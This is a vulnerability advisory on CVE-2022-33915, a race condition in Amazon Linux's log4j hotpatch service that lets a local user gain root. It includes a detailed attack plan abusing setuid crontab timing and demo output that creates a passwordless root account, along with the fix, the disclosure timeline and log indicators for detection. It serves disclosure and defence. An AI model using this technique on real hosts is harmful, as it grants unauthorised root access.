https://twitter.com/justinsteven
- Affected version:
log4j-cve-2021-44228-hotpatch-1.1-16 - Fixed version:
log4j-cve-2021-44228-hotpatch-1.3-5 - CVE: CVE-2022-33915
- Vendor Advisories:
Amazon Linux is a distro provided by Amazon AWS, typically used on EC2 hosts.
In December 2021, various vulnerabilities in the Java log4j package were publicly disclosed. The most impactful of these was CVE-2021-44228, also known as log4shell.
In the same month, Amazon announced the release of "Hotpatch for Apache Log4j". This is a utility which is packaged in several ways. It essentially monitors a host and/or containers for Java processes so that hotpatches can be applied to mitigate the various log4j vulnerabilities.
One way that this utility is packaged is in the form of an Amazon Linux package called log4j-cve-2021-44228-hotpatch. Notably, as of the time of writing, installing the OpenJDK or Corretto package on an Amazon Linux machine automatically pulls in the hotpatch:
[ec2-user@ip-172-31-85-226 ~]$ repoquery -q --whatrequires log4j-cve-2021-44228-hotpatch
java-1.7.0-openjdk-headless-1:1.7.0.261-2.6.22.2.amzn2.0.2.x86_64
java-1.8.0-openjdk-headless-1:1.8.0.312.b07-1.amzn2.0.2.x86_64
java-1.8.0-openjdk-headless-debug-1:1.8.0.312.b07-1.amzn2.0.2.x86_64
java-11-amazon-corretto-headless-1:11.0.13+8-2.amzn2.x86_64
java-11-amazon-corretto-headless-1:11.0.14+9-1.amzn2.x86_64
java-11-amazon-corretto-headless-1:11.0.14+10-1.amzn2.x86_64
java-11-amazon-corretto-headless-1:11.0.15+9-1.amzn2.x86_64
java-17-amazon-corretto-headless-1:17.0.1+12-3.amzn2.1.x86_64
java-17-amazon-corretto-headless-1:17.0.2+8-1.amzn2.1.x86_64
java-17-amazon-corretto-headless-1:17.0.3+6-1.amzn2.1.x86_64
In April 2022, Yuval Avrahami on behalf of Palo Alto Networks Unit 42 researchers reported that the following packagings of the hotpatch were vulnerable to various impacts including local privilege escalation and container breakout:
- Version <1.1-16 of the
log4j-cve-2021-44228-hotpatchpackage, which bundles the hot patch service. - Version <1.1-16 of the
kubernetes-log4j-cve-2021-44228-node-agentDaemonset, which installs the updated package. - Version <1.02 of Hotdog, a hot patch solution for Bottlerocket hosts based on Open Container Initiative (OCI) hooks.
Amazon issued updates to the above packagings of the hotpatch.
This document will discuss the patch for the local privilege escalation in the Amazon Linux packaging of the utility, and a way in which the fix for the local privilege escalation can be bypassed due to a race condition bug. Exploitation of the bypass can be demonstrated to achieve local privilege escalation on Amazon Linux machines running version 1.1-16 of the log4j-cve-2021-44228-hotpatch package.
Demo:
[ec2-user@ip-172-31-29-188 ~]$ time sudo -u nobody ./eop
Main loop: Spawning 32 workers
Main loop: Waiting for /tmp/hotpatch.esc.go to appear
Worker pid=20480 waiting for /tmp/hotpatch.esc.go to appear
Worker pid=20481 waiting for /tmp/hotpatch.esc.go to appear
Worker pid=20479 waiting for /tmp/hotpatch.esc.go to appear
Worker pid=20482 waiting for /tmp/hotpatch.esc.go to appear
Worker pid=20483 waiting for /tmp/hotpatch.esc.go to appear
Worker pid=20484 waiting for /tmp/hotpatch.esc.go to appear
[... SNIP ...]
crontab: no changes made to crontab
crontab: no changes made to crontab
crontab: no changes made to crontab
crontab: no changes made to crontab
crontab: no changes made to crontab
crontab: no changes made to crontab
EoP successful. Check /win and enjoy r00t :)
real 1m15.439s
user 0m2.427s
sys 0m0.685s
[ec2-user@ip-172-31-29-188 ~]$ cat /win
uid=0(root) gid=0(root) groups=0(root)
[ec2-user@ip-172-31-29-188 ~]$ su - r00t
[root@ip-172-31-29-188 ~]# id
uid=0(root) gid=0(root) groups=0(root)
Exploitation of this issue requires an attacker to already have low-privilege access to a machine running Amazon Linux with the hotpatch service installed and running. It allows them to escalate privileges from any user to root. It does not allow a remote attacker to gain any kind of initial access. It is nowhere near as significant as the bug in log4j that the hotpatch is hotpatching, however the presence of the hotpatch service creates local attack surface on all Amazon Linux hosts running it.
Similar issues may also be present in other packagings of the hotpatch such as the k8s daemonset and Hotdog. Similar issues may also be present in the cgroup controls introduced to prevent container breakouts. Some brief testing and analysis of the application of cgroup controls (to the best of the author's limited knowledge regarding containerisation security controls) indicates that there probably isn't an exploitable race condition window in the containerisation security control application process, but this would be an interesting opportunity for further work.
Update: The Amazon Linux team issued updates for all packagings of the service, and added security controls regarding its cgroup workings to try to prevent unproven race condition bugs regarding container breakouts.
Amazon Linux users should update to log4j-cve-2021-44228-hotpatch-1.3-5
- 3 May 2022 - Submitted to vendor via https://pages.awscloud.com/GLOBAL_GC_vulnerability-reporting_2021127_7014z000000rnU1.html with the marketing opt-in unticked
- 4 May 2022 - Received marketing email to "Register now for AWS Summit Online | Keynote speakers announced" :/
- 7 May 2022 - Resubmitted to vendor via https://pages.awscloud.com/GLOBAL_GC_vulnerability-reporting_2021127_7014z000000rnU1.html (I was told the submission did not arrive)
- 13 May 2022 - AWS Security confirmed they're investigating the misbehaving form and its marketing opt-in, and have removed the opt-in/opt-out entirely from the form :)
- 3 June 2022 - Phone call with AWS security and Amazon Linux team
- 3 June 2022 - AWS Security sent a patch for review
- 4 June 2022 - Submitted feedback on patch
- 11 June 2022 - AWS Security sent updated patch for review. LGTM.
- 15-16 June 2022 - AWS rolled out fixed version (
log4j-cve-2021-44228-hotpatch-1.3-5) via package repositories, published vendor advisory - 16 June 2022 - Public disclosure
Thank you to the AWS Security and Amazon Linux teams for a quick and simple disclosure process.
The Unit 42 advisory says (emphasis mine):
AWS's hot patch solutions continuously search for Java processes and patch them against Log4Shell on the fly. Any process running a binary named “java“ – inside or outside of a container – is considered a candidate for the hot patch.
To patch Java processes inside containers, the hot patch solutions invoke certain container binaries. For example, they run the container's "java" binary twice: once to retrieve the Java version, and again to inject the hot patch. The issue was that they invoked container binaries without properly containerizing them. That is, the new processes would run without the limitations normally applied to container processes.
[... SNIP ...]
Aside from containers, the hot patch service also patched host processes in a similar manner. A malicious unprivileged process could have created and run a malicious binary named "java" to trick the hot patch service into executing it with elevated privileges. The fixed hot patch service now spawns “java” binaries with the same privileges as the Java process being patched.
To confirm this we can look at a copy of the package pre- and post-patch.
We will use a t2.micro EC2 host running Amazon Linux as our workbench.
Use yumdownloader to get the URL of a downloadable copy of the source package, and download it:
[ec2-user@ip-172-31-29-188 1.1-16]$ cd $(mktemp -d)
[ec2-user@ip-172-31-29-188 tmp.Z7Gr73iAzI]$ yumdownloader --source --urls log4j-cve-2021-44228-hotpatch
Loaded plugins: extras_suggestions, langpacks, priorities, update-motd
Enabling amzn2extra-docker-source repository
Enabling amzn2extra-kernel-5.10-source repository
Enabling amzn2-core-source repository
amzn2-core | 3.7 kB 00:00:00
amzn2-core-source | 2.6 kB 00:00:00
https://amazonlinux-2-repos-us-east-1.s3.us-east-1.amazonaws.com/blobstore/813975db09e0c8afe18e205b457476295d433bd19a63b0c08be3d6d51ad72942/log4j-cve-2021-44228-hotpatch-1.1-16.amzn2.src.rpm
[ec2-user@ip-172-31-29-188 tmp.Z7Gr73iAzI]$ wget https://amazonlinux-2-repos-us-east-1.s3.us-east-1.amazonaws.com/blobstore/813975db09e0c8afe18e205b457476295d433bd19a63b0c08be3d6d51ad72942/log4j-cve-2021-44228-hotpatch-1.1-16.amzn2.src.rpm
--2022-04-24 07:15:32-- https://amazonlinux-2-repos-us-east-1.s3.us-east-1.amazonaws.com/blobstore/813975db09e0c8afe18e205b457476295d433bd19a63b0c08be3d6d51ad72942/log4j-cve-2021-44228-hotpatch-1.1-16.amzn2.src.rpm
Resolving amazonlinux-2-repos-us-east-1.s3.us-east-1.amazonaws.com (amazonlinux-2-repos-us-east-1.s3.us-east-1.amazonaws.com)... 52.217.80.104
Connecting to amazonlinux-2-repos-us-east-1.s3.us-east-1.amazonaws.com (amazonlinux-2-repos-us-east-1.s3.us-east-1.amazonaws.com)|52.217.80.104|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 153682 (150K) [binary/octet-stream]
Saving to: ‘log4j-cve-2021-44228-hotpatch-1.1-16.amzn2.src.rpm’
100%[==========================================================>] 153,682 --.-K/s in 0.005s
2022-04-24 07:15:32 (28.6 MB/s) - ‘log4j-cve-2021-44228-hotpatch-1.1-16.amzn2.src.rpm’ saved [153682/153682]
Unpack it using rpm2cpio (greetz to Ask Ubuntu):
[ec2-user@ip-172-31-29-188 tmp.Z7Gr73iAzI]$ mkdir 1.1-16
[ec2-user@ip-172-31-29-188 tmp.Z7Gr73iAzI]$ cd 1.1-16/
[ec2-user@ip-172-31-29-188 1.1-16]$ rpm2cpio ../log4j-cve-2021-44228-hotpatch-1.1-16.amzn2.src.rpm | cpio -i --make-directories
335 blocks
[ec2-user@ip-172-31-29-188 1.1-16]$ ls
0000-run-hotpatch.sh log4j-cve-2021-44228-hotpatch.service
jdk11-Log4jHotPatch.jar Log4j-cve-2021-44228-hotpatch.spec
jdk17-Log4jHotPatchFat.jar log4j-cve-2021-44228-hotpatch.upstart
jdk8-Log4jHotPatch.jar
Review the changelog in the .spec file:
%changelog
* Thu Apr 7 2022 Suraj Jitindar Singh <[email protected]> - 1.1-16
- Don't trust user controlled input and handle accordingly
* Thu Mar 31 2022 Suraj Jitindar Singh <[email protected]> - 1.1-15
- Run all processes in the container as the uid of the target java process
* Mon Feb 14 2022 Suraj Jitindar Singh <[email protected]> - 1.1-14
- Match cgroups, seccomp filters and capabilities of target process and set NO_NEW_PRIVS
* Thu Jan 06 2022 Nikhil Dikshit <[email protected]> - 1.1-13
- Update the systemd test in the rpm scriptlets
- Disable JAR cleanup in docker images by default
* Wed Dec 22 2021 Stewart Smith <[email protected]> - 1.1-12
- Updated JARs
* Mon Dec 20 2021 Stewart Smith <[email protected]> - 1.1-11
- Ensure JVM is ready to receive signals, fixing premature SIGQUIT issue
- Better duplicate exact environment of JVM process
* Thu Dec 16 2021 Frederick Lefebvre <[email protected]> - 1.1-9
- Provides log4j-cve-2021-44228-cve-mitigations
* Thu Dec 16 2021 Anthony Liguori <[email protected]> - 1.1-7
- Use correct path for non-containers JDK17
- Disable printing status to stdout
* Wed Dec 15 2021 Frederick Lefebvre <[email protected]> - 1.1-6
- Reload systemd unit file on package upgrade and removal
* Wed Dec 15 2021 Frederick Lefebvre <[email protected]> - 1.1-5
- Use relative paths to systemctl in scripplets
* Tue Dec 14 2021 Frederick Lefebvre <[email protected]> - 1.1-4
- Make the systemd unit file compatible with early systemd versions
* Tue Dec 14 2021 Noah Meyerhans <[email protected]> - 1.1-3
- Add a systemd and upstart configs
* Mon Dec 13 2021 Anirudh Aithal <[email protected]> - 1.1-2
- Fixes bug where incorrect class name was specified for JDK17
- Adds coverage for JVM processes running in nested containers
- Fixes bug where nsenter would specify incompatible flags for AL1
* Mon Dec 13 2021 Stewart Smith <[email protected]> - 1.1-1
- Bump to 1.1 to differentiate from package being deployed into public Amazon Linux
* Sat Dec 11 2021 Stewart Smith <[email protected]> - 1.0-16
- Initial Package
Compare this with the disclosure timeline from the Unit 42 advisory:
Disclosure Timeline
- Dec. 14: AWS releases hot patch package with support for containers.
- Dec. 20: Unit 42 researchers identify the issue.
- Dec. 21: Advisory sent to AWS.
- Dec. 22: AWS acknowledges the issue.
- Dec. 23: AWS releases fixes and advisories for affected components.
- Dec. 27: Unit 42 reports bypasses for the initial fixes to AWS.
- Feb. 9: Unit 42 researchers meet with AWS security to discuss fixes.
- April 1: AWS shares fixed versions for Unit 42 review.
- April 4: Unit 42 points out a few remaining issues.
- April 19: AWS releases final fixes and advisories; Unit 42 discloses the vulnerabilities publicly.
Use yumdownloader to discover which source packages are downloadable:
[ec2-user@ip-172-31-29-188 tmp.Z7Gr73iAzI]$ for ver in {1..16}; do yumdownloader --source --urls log4j-cve-2021-44228-hotpatch-1.1-${ver}.amzn2; done| grep -Pi 'https?://'
https://amazonlinux-2-repos-us-east-1.s3.us-east-1.amazonaws.com/blobstore/d2ffd2e567e6d074949d7be2163e9379c081b2e8d69a1a994127420516aec6d7/log4j-cve-2021-44228-hotpatch-1.1-6.amzn2.src.rpm
https://amazonlinux-2-repos-us-east-1.s3.us-east-1.amazonaws.com/blobstore/36dffbfb2a0525e71dc8e1e26c625ad7a3622893690abba5c7ec3671b3c33ce6/log4j-cve-2021-44228-hotpatch-1.1-7.amzn2.src.rpm
https://amazonlinux-2-repos-us-east-1.s3.us-east-1.amazonaws.com/blobstore/d3a5123155a4bb9963db384444948b8d501f892d926ef5771199349bdb2f66ba/log4j-cve-2021-44228-hotpatch-1.1-9.amzn2.src.rpm
https://amazonlinux-2-repos-us-east-1.s3.us-east-1.amazonaws.com/blobstore/bd75801c8177a8a66fa5800d1844c960e1ebf9bfce887f5cef7b4118810cfa4b/log4j-cve-2021-44228-hotpatch-1.1-12.amzn2.src.rpm
https://amazonlinux-2-repos-us-east-1.s3.us-east-1.amazonaws.com/blobstore/763e1e844aff246c39b81f3cce263d41cb6a328e436cacda2ee15137174c8186/log4j-cve-2021-44228-hotpatch-1.1-13.amzn2.src.rpm
https://amazonlinux-2-repos-us-east-1.s3.us-east-1.amazonaws.com/blobstore/813975db09e0c8afe18e205b457476295d433bd19a63b0c08be3d6d51ad72942/log4j-cve-2021-44228-hotpatch-1.1-16.amzn2.src.rpm
The earliest downloadable version appears to be 1.1-6, released December 15 2021. According to the disclosure timeline by Unit 42, this predates the discovery of the original set of vulnerabilities.
Download and unpack 1.1-6:
[ec2-user@ip-172-31-29-188 1.1-16]$ cd ..
[ec2-user@ip-172-31-29-188 tmp.Z7Gr73iAzI]$ wget https://amazonlinux-2-repos-us-east-1.s3.us-east-1.amazonaws.com/blobstore/d2ffd2e567e6d074949d7be2163e9379c081b2e8d69a1a994127420516aec6d7/log4j-cve-2021-44228-hotpatch-1.1-6.amzn2.src.rpm
--2022-04-24 09:35:40-- https://amazonlinux-2-repos-us-east-1.s3.us-east-1.amazonaws.com/blobstore/d2ffd2e567e6d074949d7be2163e9379c081b2e8d69a1a994127420516aec6d7/log4j-cve-2021-44228-hotpatch-1.1-6.amzn2.src.rpm
Resolving amazonlinux-2-repos-us-east-1.s3.us-east-1.amazonaws.com (amazonlinux-2-repos-us-east-1.s3.us-east-1.amazonaws.com)... 52.216.89.176
Connecting to amazonlinux-2-repos-us-east-1.s3.us-east-1.amazonaws.com (amazonlinux-2-repos-us-east-1.s3.us-east-1.amazonaws.com)|52.216.89.176|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 149625 (146K) [binary/octet-stream]
Saving to: ‘log4j-cve-2021-44228-hotpatch-1.1-6.amzn2.src.rpm’
100%[==========================================================>] 149,625 --.-K/s in 0.005s
2022-04-24 09:35:40 (30.9 MB/s) - ‘log4j-cve-2021-44228-hotpatch-1.1-6.amzn2.src.rpm’ saved [149625/149625]
[ec2-user@ip-172-31-29-188 tmp.Z7Gr73iAzI]$ mkdir 1.1-6
[ec2-user@ip-172-31-29-188 tmp.Z7Gr73iAzI]$ cd 1.1-6
[ec2-user@ip-172-31-29-188 1.1-6]$ rpm2cpio ../log4j-cve-2021-44228-hotpatch-1.1-6.amzn2.src.rpm | cpio -i --make-directories
311 blocks
[ec2-user@ip-172-31-29-188 1.1-6]$ ls
0000-run-hotpatch.sh log4j-cve-2021-44228-hotpatch.service
jdk11-Log4jHotPatch.jar log4j-cve-2021-44228-hotpatch.spec
jdk17-Log4jHotPatchFat.jar log4j-cve-2021-44228-hotpatch.upstart
jdk8-Log4jHotPatch.jar
Compare and contrast the 0000-run-hotpatch.sh file in each of the versions of the package.
Start by listing the functions that:
- Appear in both versions of the file; and
- Appear only in the older version of the file; and
- Appear only in the newer version of the file
[ec2-user@ip-172-31-29-188 1.1-6]$ cd ..
[ec2-user@ip-172-31-29-188 tmp.Z7Gr73iAzI]$ comm -12 <(grep -P '^function' 1.1-6/0000-run-hotpatch.sh | sort) <(grep -P '^function' 1.1-16/0000-run-hotpatch.sh | sort)
function apply_patch() {
function extract_euid() {
function log() {
function main() {
function now() {
function pidof_sorted() {
[ec2-user@ip-172-31-29-188 tmp.Z7Gr73iAzI]$ comm -23 <(grep -P '^function' 1.1-6/0000-run-hotpatch.sh | sort) <(grep -P '^function' 1.1-16/0000-run-hotpatch.sh | sort)
[ec2-user@ip-172-31-29-188 tmp.Z7Gr73iAzI]$ comm -13 <(grep -P '^function' 1.1-6/0000-run-hotpatch.sh | sort) <(grep -P '^function' 1.1-16/0000-run-hotpatch.sh | sort)
function can_patch() {
function extract_egid() {
function extract_proc_status() {
function gen_capsh_cmd() {
function is_dumpable() {
function jvm_is_ready() {
function run_cmd() {
function run_in_cgroup() {
function wait_jvm_ready() {
We see that the original version had a function called extract_euid(). The updated version adds a function called extract_egid(). These functions extract the Effective UID/GID of a process, the idea being that the hotpatch daemon can then drop privileges to this user when running the process' potentially untrustworthy binary.
Looking at the code for the original version, the extracted EUID is not used in at least one of the executions of the binary:
JVM=$(readlink /proc/$pid/exe)
RC=$?
if test "$RC" -ne "0"; then
log "Failed to read exe name from pid $pid, skipping."
continue
fi
log "Found JVM for pid $pid at $JVM"
MYEUID=$(extract_euid $pid)
RC=$?
if test "$RC" -ne "0"; then
log "Failed to find effective UID for pid $pid, skipping."
continue
fi
log "Found JVM running with effective UID of $MYEUID"
if [ ! -z "$container_pid" ]; then
# Get the java version from within the container.
FULL_VERSION_OUT=$(${NSENTER} "$JVM" -version 2>&1)
RC=$?
FULL_VERSION=$(echo "${FULL_VERSION_OUT}" | head -1)
else
FULL_VERSION_OUT=$("$JVM" -version 2>&1) # <-- Local execution of the binary as root
RC=$?
FULL_VERSION=$(echo "${FULL_VERSION_OUT}" | head -1)
fi
if test "$RC" -ne "0"; then
log "Failed to execute JVM to determine version, skipping"
continue
fi
log "JVM version is $FULL_VERSION"The above hunk of code does the following:
- Uses
/proc/$pid/exeto obtain the path to the binary of the process given by a particular PID - Uses
extract_euidto get the Effective UID of the process - If the process is running in a container, use
nsenterto execute the binary within the container that the process was found (?) else simply run the binary on the host. Neither of these executions are done as the user given by the extracted effective UID.
Looking at the diff between the unpatched and patched binaries shows the following key differences:
- The EGID of the process being hotpatched is discovered in addition to the EUID
- The EUID and EGID of the process being hotpatched are used when executing the process' binary, such as for when the hotpatch process attempts to discover the JVM version of the "Java" process being hotpatched.
The updated version of the service says the following:
log "Found JVMs with pids [$PIDS]"
for pid in $PIDS; do
log "Attempting to patch $pid"
wait_jvm_ready $pid 120
# Check if the PID is associated with a container.
# [ ... SNIP ...]
JVM="$(readlink /proc/$pid/exe)"
RC=$?
if test "$RC" -ne "0"; then
log "Failed to read exe name from pid $pid, skipping."
continue
fi
if grep -e "[^a-zA-Z0-9/_. -]" <<<$JVM; then
log "JVM binary \"$JVM\" for pid $pid contains special characters, skipping for safety."
continue
fi
log "Found JVM for pid $pid at $JVM"
MYEUID=$(extract_euid $pid)
RC=$?
if test "$RC" -ne "0"; then
log "Failed to find effective UID for pid $pid, skipping."
continue
fi
MYEGID=$(extract_egid $pid)
RC=$?
if test "$RC" -ne "0"; then
log "Failed to find effective GID for pid $pid, skipping."
continue
fi
log "Found JVM running with effective UID of $MYEUID"
FULL_VERSION_OUT=$(run_cmd "$pid" "$MYEUID" "$MYEGID" "$SECCOMP" "" "$JVM -version" 2>&1)
# [... SNIP ...]Note that run_cmd is a function defined by the updated hotpatch script. It applies containerisation security controls as needed and drops privileges to the UID and GID specified by the caller.
i.e. the updated service:
- Periodically queries the running process list using
pidof javato identify running Java processes - Foreach new running Java process do:
- Wait until the process has registered a
SIGQUITsignal handler - Observe the containerisation status of the process
- Get the path to the process' executable from
/proc/$PID/exe - Get the Effective User ID (EUID) of the process from
/proc/$PID/status - Get the Effective Group ID (EGID) of the process from
/proc/$PID/status - Run the executable per step 2.3, using the containerisation status from step 2.2 and the EUID/EGID observed from step 2.4 and 2.5, with the
-versionflag to determine the version of the Java executable. - Carry on with hotpatching the process.
- Wait until the process has registered a
The observation of the path to the Java executable and the observation of its EUID are separated in time. This creates a race condition bug. At the time of the observation of the path to the executable, it may point to an attacker-controlled binary. At the time of the observation of the EUID of the process, it may have changed from the attacker's UID to another user's UID (such as root). This will cause the attacker-controlled binary to be run with elevated privileges.
As follows is a repeat of a portion of the above hunk of code, annotated with the window of time in which the race condition can be exploited:
JVM="$(readlink /proc/$pid/exe)"
# [... BEGIN RACE CONDITION WINDOW ...]
RC=$?
if test "$RC" -ne "0"; then
log "Failed to read exe name from pid $pid, skipping."
continue
fi
if grep -e "[^a-zA-Z0-9/_. -]" <<<$JVM; then
log "JVM binary \"$JVM\" for pid $pid contains special characters, skipping for safety."
continue
fi
log "Found JVM for pid $pid at $JVM"
# [... END RACE CONDITION WINDOW ...]
MYEUID=$(extract_euid $pid)
RC=$?
if test "$RC" -ne "0"; then
log "Failed to find effective UID for pid $pid, skipping."
continue
fiHow can we cause a process to change its EUID/EGID without changing its PID? We'll show that one way is for the process to call an exec*() function for a setuid binary.
A Unix process can use a function from the exec*() family to replace its image with a different binary.
In the case that a path to a setuid binary is given to an exec*() function, at least the following things happen:
- The path to the binary at
/proc/$PID/exeis updated to point to the setuid binary- (As long as the
exec*()happens after the hotpatch process has done areadlinkon this path, this won't be a problem for us)
- (As long as the
- The Effective, Saved and Filesystem UIDs are updated to that of the owner of the setuid binary, giving us our desired state change
- The Real UID is kept as-is
- The process image is replaced with that of the setuid binary, causing the process to be "replaced" by a new process while retaining the old process' PID
In the case that the setuid binary is owned by root, the Effective UID of the process will change to that of root.
Thus we can form the following attack plan:
- Have processes with their
argv[0]set to the stringjavarunning as a low privilege user - Have the hotpatch daemon detect these processes using its execution of
pidof java - Have the processes perform an
exec*()of a setuid root binary at a point in time which is:- After the hotpatch process does a
readlinkon the process'/proc/$PID/exe(causing the observed binary path to be that of the attacker's binary); but - Before the hotpatch process observes the process' EUID (causing the observed EUID to be that of the owner of the setuid binary, i.e. root)
- After the hotpatch process does a
- Cause the hotpatch process to execute the attacker-controlled binary as EUID=0
- Have the attacker-controlled binary detect that it is being run as EUID=0, have it set its real/saved/effective UID/GID to 0, and have it deploy a payload as the local root user
If step 3 can be performed with accurate timing, this will result in local privilege escalation from an unprivileged user to root.
The crontab binary was chosen as the setuid binary to use in step 3. It is setuid root and offers a primitive by which it can be made to sleep for a period of time using the EDITOR environment variable.
[ec2-user@ip-172-31-19-65 ~]$ ls -la $(which crontab)
-rwsr-xr-x 1 root root 57504 Jan 16 2020 /usr/bin/crontab
[ec2-user@ip-172-31-19-65 ~]$ EDITOR='sleep 3.1337 #' time crontab -e
no crontab for ec2-user - using an empty one
crontab: no changes made to crontab
0.00user 0.00system 0:03.13elapsed 0%CPU (0avgtext+0avgdata 4052maxresident)k
0inputs+0outputs (0major+510minor)pagefaults 0swaps
The hotpatch service activates quite rapidly. In my testing, the race can reliably be won in as little as 15 seconds and as much as 4 minutes.
POC source code is listed in Appendix A.
The POC will create a file at /win as root containing the output of the id command and will add a new user with UID=0 and an empty password.
Note that winning the race can be fiddly. There are several timing constants in the POC. Depending on the performance and load profile of the machine being exploited, these values may need to be tweaked (or an entirely different race strategy implemented) to be able to win the race.
Spin up a t2.micro EC2 host running Amazon Linux. Install OpenJDK.
Show that OpenJDK is installed and the hotpatch service is running:
[ec2-user@ip-172-31-29-188 ~]$ sudo yum install java-1.8.0-openjdk
Loaded plugins: changelog, extras_suggestions, langpacks, priorities, update-motd
Package 1:java-1.8.0-openjdk-1.8.0.312.b07-1.amzn2.0.2.x86_64 already installed and latest version
Nothing to do
[ec2-user@ip-172-31-29-188 ~]$ ps -ef | grep hotpatch
root 18795 1 0 10:51 ? 00:00:00 /bin/bash /usr/bin/log4j-cve-2021-44228-hotpatch -w 1800 -m 10
ec2-user 20169 3358 0 10:54 pts/0 00:00:00 grep --color=auto hotpatch
Build the POC:
[ec2-user@ip-172-31-29-188 ~]$ sudo yum groupinstall "Development Tools"
[... SNIP ...]
[ec2-user@ip-172-31-29-188 ~]$ gcc -Wall -Wextra -Werror amazon-log4j-hotpatch-eop.c -o eop
Show that /win and the r00t user don't exist:
[ec2-user@ip-172-31-29-188 ~]$ cat /win
cat: /win: No such file or directory
[ec2-user@ip-172-31-29-188 ~]$ su - r00t
su: user r00t does not exist
Run the POC as the "nobody" user:
[ec2-user@ip-172-31-29-188 ~]$ time sudo -u nobody ./eop
Main loop: Spawning 32 workers
Main loop: Waiting for /tmp/hotpatch.esc.go to appear
Worker pid=20480 waiting for /tmp/hotpatch.esc.go to appear
Worker pid=20481 waiting for /tmp/hotpatch.esc.go to appear
Worker pid=20479 waiting for /tmp/hotpatch.esc.go to appear
Worker pid=20482 waiting for /tmp/hotpatch.esc.go to appear
Worker pid=20483 waiting for /tmp/hotpatch.esc.go to appear
Worker pid=20484 waiting for /tmp/hotpatch.esc.go to appear
[... SNIP ...]
crontab: no changes made to crontab
crontab: no changes made to crontab
crontab: no changes made to crontab
crontab: no changes made to crontab
crontab: no changes made to crontab
crontab: no changes made to crontab
EoP successful. Check /win and enjoy r00t :)
real 1m15.439s
user 0m2.427s
sys 0m0.685s
Check /win and enjoy r00t:
[ec2-user@ip-172-31-29-188 ~]$ cat /win
uid=0(root) gid=0(root) groups=0(root)
[ec2-user@ip-172-31-29-188 ~]$ su - r00t
[root@ip-172-31-29-188 ~]# id
uid=0(root) gid=0(root) groups=0(root)
Create the file /etc/log4j-cve-2021-44228-hotpatch.kill to prevent the hotpatch from operating.
Exploitation of the vulnerability tends to cause a lot of noise in the system logs:
May 4 23:33:15 ip-172-31-19-65 log4j-cve-2021-44228-hotpatch: [log4j-hotpatch] Starting up now...
May 4 23:33:15 ip-172-31-19-65 log4j-cve-2021-44228-hotpatch: [log4j-hotpatch] Found JVMs with pids [26762 26763 26764 26765 26766 26767 26768 26769 26770 26771 26772 26773 26774 26775 26776 26777 26778 26779 26780 26781 26782 26783 26784 26785 26786 2678
7 26788 26789 26790 26791 26792 26793]
May 4 23:33:15 ip-172-31-19-65 log4j-cve-2021-44228-hotpatch: [log4j-hotpatch] Attempting to patch 26762
May 4 23:33:15 ip-172-31-19-65 log4j-cve-2021-44228-hotpatch: [log4j-hotpatch] Found JVM for pid 26762 at /home/ec2-user/eop
May 4 23:33:15 ip-172-31-19-65 log4j-cve-2021-44228-hotpatch: [log4j-hotpatch] Found JVM running with effective UID of 1000
May 4 23:33:15 ip-172-31-19-65 log4j-cve-2021-44228-hotpatch: [log4j-hotpatch] JVM version is
May 4 23:33:15 ip-172-31-19-65 log4j-cve-2021-44228-hotpatch: [log4j-hotpatch] Skipping unsupported JVM kind:
May 4 23:33:15 ip-172-31-19-65 log4j-cve-2021-44228-hotpatch: [log4j-hotpatch] Attempting to patch 26763
May 4 23:33:15 ip-172-31-19-65 log4j-cve-2021-44228-hotpatch: [log4j-hotpatch] Found JVM for pid 26763 at /home/ec2-user/eop
May 4 23:33:15 ip-172-31-19-65 log4j-cve-2021-44228-hotpatch: [log4j-hotpatch] Found JVM running with effective UID of 1000
May 4 23:33:16 ip-172-31-19-65 log4j-cve-2021-44228-hotpatch: [log4j-hotpatch] JVM version is
May 4 23:33:16 ip-172-31-19-65 log4j-cve-2021-44228-hotpatch: [log4j-hotpatch] Skipping unsupported JVM kind:
May 4 23:33:16 ip-172-31-19-65 log4j-cve-2021-44228-hotpatch: [log4j-hotpatch] Attempting to patch 26764
May 4 23:33:16 ip-172-31-19-65 log4j-cve-2021-44228-hotpatch: [log4j-hotpatch] JVM 26764 not started yet, waiting...
May 4 23:33:17 ip-172-31-19-65 log4j-cve-2021-44228-hotpatch: grep: /proc/26764/status: No such file or directory
May 4 23:33:17 ip-172-31-19-65 log4j-cve-2021-44228-hotpatch: [log4j-hotpatch] Running in a container with container pid:
May 4 23:33:17 ip-172-31-19-65 log4j-cve-2021-44228-hotpatch: [log4j-hotpatch] Failed to read exe name from pid 26764, skipping.
May 4 23:33:17 ip-172-31-19-65 log4j-cve-2021-44228-hotpatch: [log4j-hotpatch] Attempting to patch 26765
May 4 23:33:17 ip-172-31-19-65 log4j-cve-2021-44228-hotpatch: grep: /proc/26765/status: No such file or directory
May 4 23:33:17 ip-172-31-19-65 log4j-cve-2021-44228-hotpatch: [log4j-hotpatch] Running in a container with container pid:
May 4 23:33:17 ip-172-31-19-65 log4j-cve-2021-44228-hotpatch: [log4j-hotpatch] Failed to read exe name from pid 26765, skipping.
[... SNIP ...]
May 4 23:34:27 ip-172-31-19-65 log4j-cve-2021-44228-hotpatch: [log4j-hotpatch] Attempting to patch 30324
May 4 23:34:27 ip-172-31-19-65 log4j-cve-2021-44228-hotpatch: [log4j-hotpatch] Found JVM for pid 30324 at /home/ec2-user/eop
May 4 23:34:27 ip-172-31-19-65 log4j-cve-2021-44228-hotpatch: [log4j-hotpatch] Found JVM running with effective UID of 1000
May 4 23:34:27 ip-172-31-19-65 log4j-cve-2021-44228-hotpatch: [log4j-hotpatch] JVM version is
May 4 23:34:27 ip-172-31-19-65 log4j-cve-2021-44228-hotpatch: [log4j-hotpatch] Skipping unsupported JVM kind:
May 4 23:34:27 ip-172-31-19-65 log4j-cve-2021-44228-hotpatch: [log4j-hotpatch] Attempting to patch 30325
May 4 23:34:27 ip-172-31-19-65 log4j-cve-2021-44228-hotpatch: [log4j-hotpatch] Found JVM for pid 30325 at /home/ec2-user/eop
May 4 23:34:27 ip-172-31-19-65 log4j-cve-2021-44228-hotpatch: [log4j-hotpatch] Found JVM running with effective UID of 0
May 4 23:34:27 ip-172-31-19-65 log4j-cve-2021-44228-hotpatch: [log4j-hotpatch] JVM version is Removing password for user r00t.
May 4 23:34:27 ip-172-31-19-65 log4j-cve-2021-44228-hotpatch: [log4j-hotpatch] Skipping unsupported JVM kind: Removing
An abundance of lines matching log4j-cve-2021-44228-hotpatch: grep: /proc/\d+/status or Failed to read exe name from pid \d+, skipping (where \d+ is a sequence of numbers representing a PID) may indicated attempted exploitation.
